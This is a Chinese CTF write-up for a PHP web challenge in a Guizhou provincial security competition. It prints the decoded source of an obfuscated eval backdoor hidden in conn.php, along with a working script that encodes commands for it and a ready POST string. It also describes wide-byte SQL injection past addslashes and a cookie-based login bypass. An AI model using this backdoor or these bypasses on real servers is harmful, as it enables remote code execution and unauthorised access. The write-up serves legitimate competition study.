zoukankan      html  css  js  c++  java
  • 贵州省网络安全知识竞赛团体赛Writeup-phpweb部分

    0x01 混淆后门#conn.php

    首先还是拖到D盾扫描

    打开conn.php发现底部有那么一串代码:

    对这个代码进行分析

    首先可以对几个比较简单的变量输出看一下

    $s出内容为create_function

    29行可知匿名函数调用$q中的代码,所以我们打印$q的内容看一下

    $q的内容为:

    $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

    代码格式化以后内容如下:

    发现是通过input传入数据,然后需要满足正则且等于才往下执行。

    需要了解的几个函数:

    ob_start:php 的缓冲输出函数

    gzcompress:压缩函数

    gzuncompress:解压函数

    ob_get_contents:得到缓冲区的数据

    x是一个混淆函数,具体如何混淆的可以不去管。

    我们只要知道19行他给我们进行了base64deco以及解压缩,那么反过来base64encode以及压缩就好了。

    例如我们现在要将phpinfo();加密

    逆向出来代码如下:

    <?php
    $k="5ac91f7d";
    $kh="b9615a29bc1d";
    $kf="24d0b67c2c91";
    $p="9GmIEgwZ7HiEeclS";
    function x($t,$k){
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for($i=0;$i<$l;){
            for($j=0;($j<$c&&$i<$l);$j++,$i++){
                $o.=$t{$i}^$k{$j};
            }
        }return $o;
    }
    $r=@base64_encode(@x(@gzcompress('phpinfo();'),$k));
    echo $r;

    得到字符串:Tf1I8Rmu+y/+trONN2YioDbg

    最后与$kh、$kf拼接

    得到b9615a29bc1dTf1I8Rmu+y/+trONN2YioDbg24d0b67c2c91

    以此发送post数据包。

    0x03 后台上传后门#up.class.php

    第七行代码可见php也在其上传列表内;

    然后看看那里调用了这个类

    根据目录来看基本都是后台

    复现了一下环境:

    发现上传功能是坏的,所以上传功能应该是不行的。只能通过ueditor的那个编辑器上传,所以这个点只能说是作废;

    0x03 SQL注入#conntent.php

    addslashes函数是可被绕过的,如果当时比赛环境使用的是gbk编码的话是可以通过宽字节注入bypass的,他程序几乎都是使用这个函数的,所以直接搜素addslashes就几乎都是sql注入;

    注入点非常多,我就不一一写出来了,因为这个程序源码挺大的;

    0x04 权限绕过 #checklogin.php

    他这个check也是写的有点搞笑。

    判断$_COOKIE是否为空

    所以只要请求user字段不为空就OK(x-forwarded-for是我平时就喜欢加的,可忽略)

    #php web的基本就是如上漏洞,难点应该就是最初的那个PHP混淆吧,如果要修复直接删除那段木马即可,据我所知,是能够登陆就可以拿到一个flag。自动化的话也是非常简单,写一个脚本requestscookie字段填写user=1然后正则提取flag输出到txt,结合burpsuite自动提交flag

  • 相关阅读:
    Feature部署EventHandler注意事项
    QuickPart Permission问题
    Vista SP1、IIS7,安装ASP.Net 1.1、VS2003、NetAdvantage 2004vol、Sql Server2000全攻略
    MOSS/Sharepoint 2007 创建网站集之后,链接出现“未找到文件”错误提示
    将 MS SQL Server 2005 SP2 整合到安装文件【脚本修正】
    QuickPart功能改进_Sharepoint_MOSS
    部署WebPart的两种方式
    博客园怎么了?
    Apache2.2.8、php5.2.6、mysql5、phpMyAdmin2.11.6在Windows Vista下的安装和配置
    tz2txt的安装与使用
  • 原文地址:https://www.cnblogs.com/nul1/p/11516783.html
Copyright © 2011-2022 走看看